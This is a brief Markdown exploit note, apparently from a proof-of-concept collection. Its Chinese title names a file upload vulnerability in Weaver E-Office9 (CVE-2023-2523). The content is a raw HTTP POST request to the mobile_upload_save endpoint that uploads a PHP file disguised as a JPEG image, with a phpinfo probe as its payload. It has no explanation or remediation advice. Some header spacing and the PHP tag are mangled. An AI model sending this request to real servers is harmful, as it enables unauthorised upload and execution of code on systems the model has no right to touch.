21 lines
604 B
Markdown
21 lines
604 B
Markdown
|
## 某微E-Office9文件上传漏洞 CVE-2023-2523
|
||
|
|
|
||
|
|
```
|
||
|
|
POST/Emobile/App/Ajax/ajax.php?action=mobile_upload_save HTTP/1.1
|
||
|
|
Host:192.168.233.10:8082
|
||
|
|
Cache-Control:max-age=0
|
||
|
|
Upgrade-Insecure-Requests:1
|
||
|
|
Origin:null
|
||
|
|
Content-Type:multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt
|
||
|
|
Accept-Encoding:gzip, deflate
|
||
|
|
Accept-Language:en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
|
||
|
|
Connection:close
|
||
|
|
|
||
|
|
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
|
||
|
|
Content-Disposition:form-data; name="upload_quwan"; filename="1.php."
|
||
|
|
Content-Type:image/jpeg
|
||
|
|
<?phpphpinfo();?>
|
||
|
|
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
|
||
|
|
|
||
|
|
```
|